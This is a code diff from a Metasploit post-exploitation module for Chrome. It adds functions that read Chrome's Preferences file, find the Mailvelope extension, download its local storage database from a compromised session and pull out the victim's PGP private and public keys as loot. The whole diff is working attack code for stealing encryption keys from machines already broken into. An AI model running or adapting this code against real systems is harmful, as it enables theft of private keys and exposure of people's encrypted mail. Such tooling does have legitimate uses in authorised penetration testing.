@@ -29,7 +29,8 @@ def initialize(info={})
29
29
[
30
30
'Sven Taute' , #Original (Meterpreter script)
31
31
'sinn3r' , #Metasploit post module
32
- 'Kx499' #x64 support
32
+ 'Kx499' , #x64 support
33
+ 'mubix' #Parse extensions
33
34
]
34
35
) )
35
36
@@ -39,6 +40,70 @@ def initialize(info={})
39
40
] , self . class )
40
41
end
41
42
43
+ def extension_parse_mailvelope ( username , extname )
44
+ chrome_path = @profiles_path + "\\ " + username + @data_path
45
+ maildb_path = chrome_path + "/Local Storage/chrome-extension_#{ extname } _0.localstorage"
46
+ begin
47
+ x = session . fs . file . stat ( maildb_path )
48
+ rescue
49
+ print_error ( "==> Mailvelope database not found" )
50
+ return
51
+ end
52
+ print_status ( "==> Downloading Mailvelope database..." )
53
+ local_path = store_loot ( "chrome.ext.mailvelope" , "text/plain" , session , "chrome_ext_mailvelope" )
54
+ session . fs . file . download_file ( local_path , maildb_path )
55
+ print_status ( "==> Downloaded to #{ local_path } " )
56
+
57
+ maildb = SQLite3 ::Database . new ( local_path )
58
+ columns , *rows = maildb . execute2 ( "select * from ItemTable;" )
59
+ maildb . close
60
+
61
+ rows . each do |row |
62
+ res = Hash [ *columns . zip ( row ) . flatten ]
63
+ if res [ "key" ] =~ /privatekeys/i
64
+ keys = res [ "value" ] . split ( "," )
65
+ print_good ( "==> Found #{ keys . size } private key(s)!" )
66
+ keys . each do |key |
67
+ privkey = key . split ( "\x00 " ) . join . tr ( "[]" , "" ) . split ( "\\ r" ) . join . split ( "\" " ) . join . split ( "\\ n" ) . join ( "\n " )
68
+ vprint_good ( privkey )
69
+ path = store_loot ( "chrome.mailvelope.privkey" , "text/plain" , session , privkey , "privkey.key" , "Mailvelope PGP Private Key" )
70
+ print_status ( "==> Saving private key to: #{ path } " )
71
+ end
72
+ end
73
+ if res [ "key" ] =~ /publickeys/i
74
+ keys = res [ "value" ] . split ( "," )
75
+ print_good ( "==> Found #{ keys . size } public key(s)!" )
76
+ keys . each do |key |
77
+ pubkey = key . split ( "\x00 " ) . join . tr ( "[]" , "" ) . split ( "\\ r" ) . join . split ( "\" " ) . join . split ( "\\ n" ) . join ( "\n " )
78
+ vprint_good ( pubkey )
79
+ path = store_loot ( "chrome.mailvelope.pubkey" , "text/plain" , session , pubkey , "pubkey.key" , "Mailvelope PGP Public Key" )
80
+ print_status ( "==> Saving public key to: #{ path } " )
81
+ end
82
+ end
83
+ end
84
+ end
85
+
86
+
87
+
88
+ def parse_prefs ( username , filepath )
89
+ f = File . open ( filepath , 'r' )
90
+ until f . eof
91
+ prefs = f . read
92
+ end
93
+ results = ActiveSupport ::JSON . decode ( prefs )
94
+ print_status ( "Extensions installed: " )
95
+ results [ 'extensions' ] [ 'settings' ] . each do |name , values |
96
+ if values [ 'manifest' ]
97
+ print_status ( "=> #{ values [ 'manifest' ] [ 'name' ] } " )
98
+ if values [ 'manifest' ] [ 'name' ] =~ /mailvelope/i
99
+ print_good ( "==> Found Mailvelope extension, extracting PGP keys" )
100
+ extension_parse_mailvelope ( username , name )
101
+ end
102
+ end
103
+ end
104
+ end
105
+
106
+
42
107
def decrypt_data ( data )
43
108
rg = session . railgun
44
109
pid = session . sys . process . open . pid
@@ -77,6 +142,10 @@ def process_files(username)
77
142
)
78
143
79
144
@chrome_files . each do |item |
145
+ if item [ :in_file ] == "Preferences"
146
+ parse_prefs ( username , item [ :raw_file ] )
147
+ end
148
+
80
149
next if item [ :sql ] == nil
81
150
next if item [ :raw_file ] == nil
82
151
0 commit comments